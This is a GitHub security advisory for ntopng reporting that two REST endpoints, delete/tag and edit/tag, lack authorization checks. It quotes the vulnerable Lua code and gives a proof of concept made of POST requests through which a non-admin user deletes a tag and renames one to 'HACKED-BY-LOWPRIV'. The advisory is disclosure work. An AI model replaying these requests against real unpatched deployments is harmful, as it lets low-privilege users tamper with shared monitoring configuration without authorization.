Skip to content

Missing Authorization in REST API Allows Non-Admin Users to Delete and Rename Arbitrary Tags

High
cardigliano published GHSA-43p9-5758-wwq8 Jul 17, 2026

Package

ntopng (Package)

Affected versions

>= 6.7.0 && <= 6.7.260717

Patched versions

>= 6.7.260718

Description

Summary

Two REST v2 endpoints that manage ntopng's tag/badge feature — POST /lua/rest/v2/delete/tag/tag.lua and POST /lua/rest/v2/edit/tag/tag.lua — perform no authorization check at all. Any authenticated user, including a non-administrator ("unprivileged") account, can delete or rename any tag in the system, including tags created by an administrator. Confirmed live against a source-built instance of this codebase.

Details

Vulnerable files:

  • scripts/lua/rest/v2/delete/tag/tag.lua
  • scripts/lua/rest/v2/edit/tag/tag.lua

Neither script contains an isAdministrator(), isAdministratorOrPrintErr(), or auth.has_capability() check:

-- scripts/lua/rest/v2/delete/tag/tag.lua (entire file, no auth gate)
local post_data = _POST or {}
local tag_id = post_data["tag_id"]
tag_badge_utils.deleteTag(tag_id)
rest_utils.answer(rest_utils.consts.success.ok)
-- scripts/lua/rest/v2/edit/tag/tag.lua (entire file, no auth gate)
local tags = post_data["tags"]
if tags then
    for index, t in pairs(tags) do
        tag_badge_utils.editTag(t.tag_id, t.tag_name, t.color, t.description, false)
    end
end
rest_utils.answer(rest_utils.consts.success.ok)

The underlying module functions, scripts/lua/modules/tag_badge_utils.lua, contain no authorization check either — they write/delete directly against the shared ntopng.prefs.tags Redis hash:

function tag_badge_utils.deleteTag(id)
    ...
    if tags[id] then
        ntop.delHashCache(get_redis_key(), id)   -- unconditional delete, no ownership/role check
    ...
function tag_badge_utils.editTag(id, name, color, description, reserved)
    ...
    ntop.setHashCache(get_redis_key(), id, json.encode(tag))   -- unconditional overwrite, no ownership/role check
end

Note also that both REST endpoint scripts ignore the return value of deleteTag()/report success unconditionally regardless of whether the operation actually succeeded — a minor, separate code-quality issue that does not affect exploitability here.

PoC

Live-tested against a source-built ntopng instance (Docker, -i dummy) with a genuine non-administrator ("unprivileged") account:

# Seed a tag as admin (via Redis, standing in for the normal admin UI flow)
HSET ntopng.prefs.tags "1" '{"id":"1","name":"Sensitive-Tag","color":"#ff0000","description":"created by admin"}'

# As non-admin "lowpriv" user, with a valid session + CSRF token from their own session:
POST /lua/rest/v2/delete/tag/tag.lua
Content-Type: application/x-www-form-urlencoded

csrf=<lowpriv's own csrf>&tag_id=1

Result: {"rc":0,"rc_str":"OK","rc_str_hr":"Success"}. Verified via Redis that the tag hash field was actually removed (HGETALL ntopng.prefs.tags returned empty).

A second test against edit/tag/tag.lua with a fresh seeded tag (id=2, name=Original-Name) and payload

{"csrf":"<lowpriv csrf>","tags":[{"tag_id":"2","tag_name":"HACKED-BY-LOWPRIV","color":"#000000","description":"pwned"}]}

resulted in the tag being renamed: HGET ntopng.prefs.tags 2 returned {"reserved":false,"id":"2","description":"pwned","name":"HACKED-BY-LOWPRIV","color":"#000000"}.

Impact

Any authenticated, non-administrator user can delete or rename arbitrary tags system-wide, including tags an administrator relies on for host/flow classification, alerting rules, or dashboards that filter by tag. This is a straightforward integrity/availability violation of a shared, system-wide resource by a low-privilege account.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

CVE ID

No known CVE

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits